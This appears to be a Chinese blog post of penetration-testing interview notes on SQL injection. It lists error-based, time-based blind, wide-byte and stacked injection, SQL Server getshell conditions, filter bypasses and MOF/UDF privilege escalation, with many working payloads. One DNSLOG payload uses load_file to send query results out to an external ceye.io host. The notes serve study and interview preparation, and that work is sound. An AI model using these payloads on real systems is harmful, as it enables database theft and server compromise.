menu 绝望的肉
面试用渗透测试知识点梳理-SQL
279 浏览 | 2021-03-22 | 阅读时间: 约 4 分钟 | 分类: 日常 | 标签:
请注意,本文编写于 188 天前,最后修改于 188 天前,其中某些信息可能已经过时。

SQL

1.报错注入函数

MySQL报错注入通过构造payload让信息通过错误提示回显出来,主要应用与查询不回现内容,会打印错误信息;Update、insert等语句,会打印错误的信息

updatexml:利用函数的报错

concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出用户,make_set()可替代

0x7e ASCII码,实为~,upadtexml()报错信息为特殊字符、字母及之后的内容,为了前面字母丢失,开头连接一个特殊字符

select updatexml(1,concat(0x7e,(select user()),0x7e,1);

floor:floor(rand(0)*2的作用就是产生预知的数字序列01101,然后再利用 rand() 的特殊性和group by的虚拟表,最终引起了报错。

select count(*) from infomation_schema.tables group by concat((select user()),floor(rand(0)*2)

extractvalue:extractvalue(目标xml文档,xml路径),extractvalue()能查询字符串的最大长度为32,就是说如果我们想要的结果超过32,就需要用substring()函数截取,一次查看32位

select extractvalue(1,concat(0x7e,(select user()),0x7e));

exp():Double型数据溢出,我们通过子查询与按位求反,造成一个DOUBLE overflow error,并借由此注出数据。

and exp(~(select * from (select user () ) a) );

2.时间盲注函数

sleep():select sleep(5)

benchmark():执行一个表达式数次 select benchmark(10000000,sha(1));

笛卡尔积SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;

get_lock():在一个session中可以先锁定一个变量例如:select get_lock(‘do9gy’,1)

然后通过另一个session 再次执行get_lock函数 select get_lock(‘do9gy’,5)此时会产生5 秒的延迟,其效果类似于sleep(5)。

RLIKE:通过rpadrepeat构造长字符串,加以计算量大的pattern,通过repeat的参数可以控制延时长短。

select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');

3.DNSLOG

利用:在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起请求,这个时候就可以通过DNSlog把想获得的数据外带出来。

原理:load_file()函数是读取文件的函数,读取文件并返回文件内容为字符串。当我们使用load_file去访问域名的时候,会产生DNS解析
这时候我们可以通过构造sql查询语句去查询数据库

select load_file(concat('\\\\',(select version()),'.mysql.4ke30o.ceye.io\\abc'))

限制:要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。 该文件所有字节可读,但文件内容必须小于max_allowed_packet(限制server接受的数据包大小函数,默认1MB)。 如果该文件不存在或无法读取,因为前面的条件之一不满足,函数返回 NULL。

只能在windows系统下使用load_file()发起请求,在Linux环境下不能使用load_file()发起请求。

在使用前务必记得设置secure_file_priv为""

4.宽字节注入

宽字节注入是利用mysql的一个特性,mysql在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字的范围),而当我们输入有单引号时会自动加入进行转义而变为’,由于宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象,将后面的一个字节与前一个大于128的ascii码进行组合成为一个完整的字符(mysql判断一个字符是不是汉字,首先两个字符时一个汉字,另外根据gbk编码,第一个字节ascii码大于128,基本上就可以了),此时’前的就被吃了,我们就可以使用’了,利用这个特性从而可实施SQL注入的利用。

5.堆叠注入

概念:tacked injections(堆叠注入)从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的, 我们知道在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked injection。

与union的区别:union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。

6.SQLserver 注入

SQL Server数据库是由Microsoft开发和推广的关系数据库管理系统(DBMS),是一个比较大型的数据库。端口号为 1433。数据库后缀名 .mdf,注释符是 -- 。延时命令:WAITFOR DELAY '0:0:2'

  • sa权限:数据库操作,文件管理,命令执行,注册表读取等system。SQLServer数据库的最高权限
  • db权限:文件管理,数据库操作等权限 users-administrators
  • public权限:数据库操作 guest-users

利用:

SA权限使用sp_oacreate执行系统命令

DB_owner权限LOG备份Getshell:

  • 目标机器存在数据库备份文件 ,也就是如果我们利用 test 数据库的话,则需要该test数据库存在数据库备份文件,而且恢复模式得是 完整模式
  • 知道网站的绝对路径
  • 该注入支持堆叠注入

DB_owner权限差异备份Getshell:

  • 知道网站的绝对路径 C:phpstudyWWW\
  • 该注入支持堆叠注入
  • 网站可能会被打崩

SQLServer数据库特有的表是:sysobjects ,所以可以用它来判断是否是SQLServer数据库

exists(select*from sysobjects)

判断当前数据库用户权限

and 1=(IS_SRVROLEMEMBER('sysadmin'))        //返回正常为sa
and 1=(IS_MEMBER('db_owner'))               //返回正常为DB_OWNER
and 1=(IS_srvrolemember('public'))  

判断数据库的个数

and (select count(name) from master..sysdatabases)=N

......

7.防护

1.过滤关键词

2.预编译:使用预编译,而其后注入的参数将不会再进行SQL编译。也就是说其后注入进来的参数系统将不会认为它会是一条SQL语句,而默认其是一个参数,参数中的or或者and 等就不是SQL语法保留字了。

注:order by,不能参数化,可直接丢出错误

8.判断数据库类型

1.端口:Oracle-1521 SQL Server-1433 MySQL-3306

2.特征表:

​ Oracle: sys.user_tables

​ MySQL:information_schema.TABLES

​ access:msysobjects

​ mssql:sysobjects

3.特征连接符:

​ Oracle:`1 and '1'||'1'='11'

9.常见语句

查数据库版本

union

-1 union select 1, @@VERSION, 3, 4

bool盲注

1'and left(version(),1)=5#

1 and (ascii(substring(user() from 1 for 1))=111) ;

时间盲注

1 and if(substring(version(),1,1)='r',sleep(5),1);

报错注入

1’ and extractvalue(1,concat(0x7e,(select version()),0x7e)) --+

and updatexml(1,concat(0x7e,(select version()),0x7e),3) *--+*

and (select exp(~(select * from(select version())x)));

DNSLOG

select load_file(concat('\\\\',(select version()),'.mysql.4ke30o.ceye.io\\abc'))

过滤逗号

union select * from ( (select user())a JOIN (select version())b JOIN (select database())c )

10.绕过

过滤逗号:

​ 联合查询

union select * from ((select 1)A join (select 2)B join (select group_concat(user(),' ',database(),' ',@@datadir))C);;

​ 盲注

1 and (ascii(substring(user() from 1 for 1))=111) ;

过滤空格:

​ 注释,括号, %20 %09 %0d %0b %0c %0d %a0 %0a

过滤字段名:

select c.2 from (select 1,2 union select * from users)c limit 1,2;

11.提权

MOF提权

利用了c:/windows/system32/wbem/mof/目录下的 nullevt.mof 文件,每分钟都会在一个特定的时间去执行一次的特性,来写入我们的cmd命令使其被带入执行

  • 仅限windows 及适用于windows server2003及以下的版本
  • mysql用户具有root权限(对上面那个目录可写)
  • 关闭了secure-file-priv:限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的

select load_file('mof提权文件及路径') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'

UDF提权

UDF (user defined function),即用户自定义函数。是通过添加新函数,对MySQL的功能进行扩充,引入dll文件执行系统命令

知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议

发表评论

email
web

全部评论 (暂无评论)

info 还没有任何评论,你来说两句呐!